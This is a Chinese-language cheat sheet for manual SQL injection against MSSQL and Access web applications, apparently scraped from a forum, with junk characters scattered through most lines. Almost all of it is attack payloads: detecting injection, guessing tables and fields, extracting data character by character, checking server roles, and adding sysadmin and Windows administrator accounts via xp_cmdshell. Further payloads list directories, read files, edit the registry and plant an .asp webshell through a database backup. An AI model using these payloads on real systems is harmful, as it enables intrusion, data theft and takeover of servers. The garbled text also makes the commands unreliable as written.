手工脚本注入
( e! Y" M4 C' ~7 \8 P' E1.判断是否有注入;and 1=1 ;and 1=2 ' T1 j$ C, _, r; t& O# P) _
2 F1 A; A5 f! i, Y
2.初步判断是否是mssql ;and user>0
$ v9 k& C- i& \1 \: r$ x9 F: S+ ~6 b
* ]: [, n. e0 M8 O3.注入参数是字符'and [查询条件] and ''=' 5 h' L% m$ U* u! m* U& F
& ^ ~7 h, c) D/ h, f0 j4.搜索时没过滤参数的'and [查询条件] and '%25'=' . W4 ]6 R# j2 V! _ S9 i
4 B6 _) H5 y) G
5.判断数据库系统 & A$ ?2 o3 Z2 S4 |+ E+ A2 o
;and (select count(*) from sysobjects)>0 mssql ; N* W7 M" [! k" O
;and (select count(*) from msysobjects)>0 access
1 g. B7 v, _: a4 D
& g( J) Q. x0 p' u! C3 q$ @6.猜数据库 ;and (select Count(*) from [数据库名])>0
" S, U( S9 S$ v; b: n5 a3 S3 Q% H) P( _
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
% y4 `; ?; \9 f7 A) I; j' g7 [. q! w. _) [( _+ ~
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
* F4 o' }7 S# @" M, A" U% S; F2 _9 i3 W8 b9 U: }5 F% O( j J
9.(1)猜字段的ascii值(access)
" `& }- n3 X+ E* b% k;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
4 `8 \, W% n M5 ?/ [' [
' M% W9 P) l3 b) C8 e5 N/ Z. }(2)猜字段的ascii值(mssql)
; p/ K; s+ n6 F4 W;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
" a7 H5 T% N4 k" L1 x# J9 {; _" p$ g4 a' [8 s5 I
10.测试权限结构(mssql)
, m5 G" V1 G: A& b" U;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
' A! g/ [3 b# X* l;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
' ` {0 d$ s: ^;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
, M: g! @: O: L* b2 B;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
6 w+ e g- G( S% C;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
- w- ]1 f; X1 }$ T7 N;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9 B& n* c# n: s \: H# M7 |
;and 1=(select IS_MEMBER('db_owner'));--
5 m/ i& q. K$ y. S7 |1 D+ _& U3 R2 l3 m# }( \" H/ L- o+ I
11.添加mssql和系统的帐户
% m% C- C, f" r, U9 n% D! S8 x;exec master.dbo.sp_addlogin username;-- 5 w+ r; [% ?4 @
2 C0 M( y, D+ d;exec master.dbo.sp_password null,username,password;-- " M: q3 Q$ d6 A& s5 L
+ r/ s2 d: B4 s. H* x5 P;exec master.dbo.sp_addsrvrolemember sysadmin username;--
( `% X7 o" j/ ~" D5 K, m1 a' a% \; W" t* X
;exec master.dbo.xp_cmdshell 'net user username password % |- Y4 u% w1 \) P) z0 C7 ?- a7 N
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
, V+ u- o( O8 l( E% u: s+ j' K
/ ?. A$ |, [* a7 @' D8 H1 J1 m;exec master.dbo.xp_cmdshell 'net user username password /add';--
" R0 o6 ?$ j3 @( E, t& w. M. b0 h, u" P8 H, c: W' a
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # q8 f% o d" K6 m9 w
0 k6 R9 y: z* y- R$ }/ I& U* r12.(1)遍历目录
; \- A4 U0 ^) V- H0 i& P* o3 ?
;create table dirs(paths varchar(100), id int) # L' ~" s) x$ S: u- M9 C1 i
;insert dirs exec master.dbo.xp_dirtree 'c:\' 1 g/ ~7 o0 ]! a! B2 e' J0 e! S2 ]( }
;and (select top 1 paths from dirs)>0
! l* u0 ~2 X: v( E) {' p;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 8 ^- f U! u, k3 ]
" ~. h' I, g& j% O, `(2)遍历目录 2 g/ e' V O: Q, S5 R: ^: _
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3 U" s* n/ K/ k2 p) R9 q/ g1 b' [;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 . Z# i& P3 z9 A: T1 [
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4 @6 |/ W8 Q( m3 X% t' \+ R n' L
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
8 F) D0 S+ x$ G3 Z9 {% i1 L;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 " B5 |4 l4 m% t0 R/ a9 @
* ^5 |2 S, f9 j, ~. `, b/ ^13.mssql中的存储过程
+ U6 [) d% V, v; {5 _3 i4 C( F0 `1 j m* C3 f; b# i
xp_regenumvalues 注册表根键, 子键 2 h1 w6 p* d, O2 N. D) ?& {
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
0 K* k. s; j$ N( _( J, @- d+ X) {0 {% h" W# {7 o7 s
xp_regread 根键,子键,键值名
6 i& b$ y; I/ J- O3 r( X7 |;exec xp_regread
. t) I) X& G3 ]6 m! i$ M7 ['HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ! R8 v, o/ U* E& H9 `
& s& _- t; n4 f7 axp_regwrite 根键,子键, 值名, 值类型, 值
% s: a, l1 H9 [- _2 v值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
( T- _" z' O' Q* S/ X;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
6 {8 C. H. f, [7 R6 ?& G4 |9 \
xp_regdeletevalue 根键,子键,值名 8 O5 ^: W' b+ u; B' j+ C
$ n: J3 Y% d& @* u1 kexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
) X' U- }3 l+ m6 N B% z3 z1 X- l8 V' O# J6 j6 l
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 - o q3 }) O. z. }; H2 B. z4 f) R- t
4 H2 {% ?* k! I# x V0 _! c
14.mssql的backup创建webshell
7 t5 D W- x" c* Quse model
6 G& T1 }# E1 T, T+ I' o) g) pcreate table cmd(str image); ( _7 \( M9 b* F$ g8 j- y: v- P$ z
insert into cmd(str) values ('');
# ~$ X3 k- h7 ^3 \backup database model to disk='c:\l.asp';
! ?& j' P9 C. z: K! J4 P$ p( a! ]$ N! i4 q- c8 z# U$ ?7 Y
15.mssql内置函数 & |6 h( N$ M( s' g5 k- T. B, r
;and (select @@version)>0 获得Windows的版本号
% S) ]7 r5 c! j8 F9 v! L;and user_name()='dbo' 判断当前系统的连接用户是不是sa
& F/ j8 b8 j9 m6 p; h. ]2 C; h;and (select user_name())>0 爆当前系统的连接用户 * J( y* |5 w) J C
;and (select db_name())>0 得到当前连接的数据库 . q% W; S+ N. e! i4 t) ~
0 U( e9 {1 |# L6 @16.简洁的webshell
/ T- ^$ E( a( i: t' }+ a1 ?3 }# {" j+ d# y& J
use model * y/ q0 G) D9 [+ R
0 t3 h0 T) `" M) l- g0 }6 A: Zcreate table cmd(str image);
6 o- C& Q" g6 M1 T7 a1 U2 e- T [) m0 d
insert into cmd(str) values ('');
9 t( _3 E$ ~, m3 s. A( y* Q
6 x* B% M* o C3 A: y' K9 f# Qbackup database model to disk='g:\wwwtest\l.asp'; 3 ^( W" a5 T" x9 i
4 U' u) a& D4 J t m6 D3 ~# N2 `3 e |